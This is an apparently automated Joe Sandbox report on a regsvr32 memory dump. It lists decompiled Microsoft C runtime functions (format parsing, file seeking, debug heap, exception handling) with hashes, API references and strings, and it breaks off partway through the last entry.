Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: d839b4f8492d9702b4695783724771f139c243a43186ab9091008b35e86c7283
Instruction ID: 2534415b6cec3e8c7a7064d8bee2958269565171124d4a2b4bf05b50673a9d36
Opcode Fuzzy Hash: d839b4f8492d9702b4695783724771f139c243a43186ab9091008b35e86c7283
Instruction Fuzzy Hash: 4C411CB2A0C6C18AE3B0CB64E8447BEB7E0F384345F600125E6D987AA8DB7DD444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC41 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC41(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, char _a1200, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, intOrPtr _a1536, signed short* _a1544, char _a1560) {
				void* _t190;
				char* _t210;
				char* _t211;

				_a76 = 1;
				E000007FE7FEF9D3EE40(_a1208 & 0x0000ffff, _a1536,  &_a1200);
				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t210 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t210);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t190 + _t210 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t211 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t211);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t190 + _t211 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc41
0x7fef9d3dc61
0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: 00c8469e1271fc8907031e5201d4ef955f45b92ddfc689a069c686c98e5ea265
Instruction ID: 4e41d9db2091814ce308bd8b3badba688d1355b6a5e36393cab3bd2279fd69d5
Opcode Fuzzy Hash: 00c8469e1271fc8907031e5201d4ef955f45b92ddfc689a069c686c98e5ea265
Instruction Fuzzy Hash: 01412AB2A0C6C286E7F09B64E8407BEB2E4F384346F600126D6CD876A9DB3ED444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDDA Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDDA(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t134 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t114 + _t134 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 0dcb35cdac88f8f65d488c6c387acf7a3a87c9c5c0c9a15f6f87c725b9d0fc3a
Instruction ID: 25f4969c447c8d4d660c638a7323c6370fe89c3a0b7b258112d187f79a668fd6
Opcode Fuzzy Hash: 0dcb35cdac88f8f65d488c6c387acf7a3a87c9c5c0c9a15f6f87c725b9d0fc3a
Instruction Fuzzy Hash: ED416E72A0DAC28AE3F0DB24E8547BEB7E4E384345F600126D6DD869A9DB7ED140CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD88 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD88(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t134 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t114 + _t134 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: c688226ec199b2b9f0c59a43de4c80c1eb2ed98f75eb3809899ea6a1a3543fc2
Instruction ID: 6afb929124b84414141dd4680376ccf7afecd9c4b7d6d92296aea7179b7f5a27
Opcode Fuzzy Hash: c688226ec199b2b9f0c59a43de4c80c1eb2ed98f75eb3809899ea6a1a3543fc2
Instruction Fuzzy Hash: 024109A2A0C6C286E7F09B64E8447BEB6E4F394346F600126D6CD876A5DB3ED444DF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39520 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

SetFilePointer.KERNEL32 ref: 000007FEF9D395B0
GetLastError.KERNEL32 ref: 000007FEF9D395C1
_dosmaperr.LIBCMTD ref: 000007FEF9D395D6

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39578
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D39563

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ErrorFileLastPointer__doserrno_dosmaperr
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 275287319-2412454244
Opcode ID: 9dbe059b54c234531181e61fbc079bb475f6c20a5a1a356ebb7b18ccdd590da7
Instruction ID: f463794f61061979348d28cf0890255f55ae464b61bc66257c006d95a81b41bb
Opcode Fuzzy Hash: 9dbe059b54c234531181e61fbc079bb475f6c20a5a1a356ebb7b18ccdd590da7
Instruction Fuzzy Hash: A8316372A18B85C6D790CB28E88066E77A1F7857A5F604325E6FE47AF9CB3DD441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26210 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D262BE
_unlock.LIBCMTD ref: 000007FEF9D26329

Strings

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY, xrefs: 000007FEF9D2625A, 000007FEF9D262B7
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2626F, 000007FEF9D262A9
_CrtSetDbgFlag, xrefs: 000007FEF9D262B0

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter_unlock
String ID: (fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY$_CrtSetDbgFlag$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2816345473-1282596470
Opcode ID: db3a677d4455786e2b88604055b88d75c0eb5ecf603a90f053d8ba1f75c85f5c
Instruction ID: 0c290ab1c852a48438f6a901ce88093280091c3cb9967e086700a94ae8aeefb6
Opcode Fuzzy Hash: db3a677d4455786e2b88604055b88d75c0eb5ecf603a90f053d8ba1f75c85f5c
Instruction Fuzzy Hash: 18313371D1D2428AE3A08B68ED4476E77E0F741364F615236A6CD866F4D77EE4488B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40070 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D400EA
_free_nolock.LIBCMTD ref: 000007FEF9D40143
_unlock.LIBCMTD ref: 000007FEF9D4015A

Strings

pNode->_Next != NULL, xrefs: 000007FEF9D40107
f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp, xrefs: 000007FEF9D4011C

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock$_unlock
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp$pNode->_Next != NULL
API String ID: 2500497606-1087415141
Opcode ID: e5522c6252449cb40e85df54e6268dac1ebec28ce271d6c329a952fe203911e4
Instruction ID: 34f18152e293ad813cf8b9b11c4969fef8ff7405ef187e896dde4a1f66726313
Opcode Fuzzy Hash: e5522c6252449cb40e85df54e6268dac1ebec28ce271d6c329a952fe203911e4
Instruction Fuzzy Hash: 4121FC36629B8581EB909B59E89072DA3E4F3C4B94F609426FACE437B4CF7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35393 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__RethrowException.LIBCMTD ref: 000007FEF9D353C5

Part of subcall function 000007FEF9D354A0: RaiseException.KERNEL32 ref: 000007FEF9D354CD

__RethrowException.LIBCMTD ref: 000007FEF9D353D1
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Exception$Rethrow$DestroyedFindFrameObjectRaiseUnlink
String ID: csm
API String ID: 933340387-1018135373
Opcode ID: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction ID: be7caa3ba3d0a30f9fef9d29ccc0ee5b0ac29a888dcf6323555a590ed5530147
Opcode Fuzzy Hash: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction Fuzzy Hash: BE21FA32A0C64582DAA09B15E49076D67A0F7C0B52F611136EADE077B5CB3BD4418B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39694 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D396F6
_invalid_parameter.LIBCMTD ref: 000007FEF9D39730

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D396D6, 000007FEF9D3971B
_write, xrefs: 000007FEF9D39722
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D396C1, 000007FEF9D39729

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-23161695
Opcode ID: 943f3f5a8649ad99659fc24fe5f00fa9245fa7ab2d20795fce64249369f79773
Instruction ID: f549bc85806da522572ee7890384280d6aac56d4f037a7782e26525923b50f93
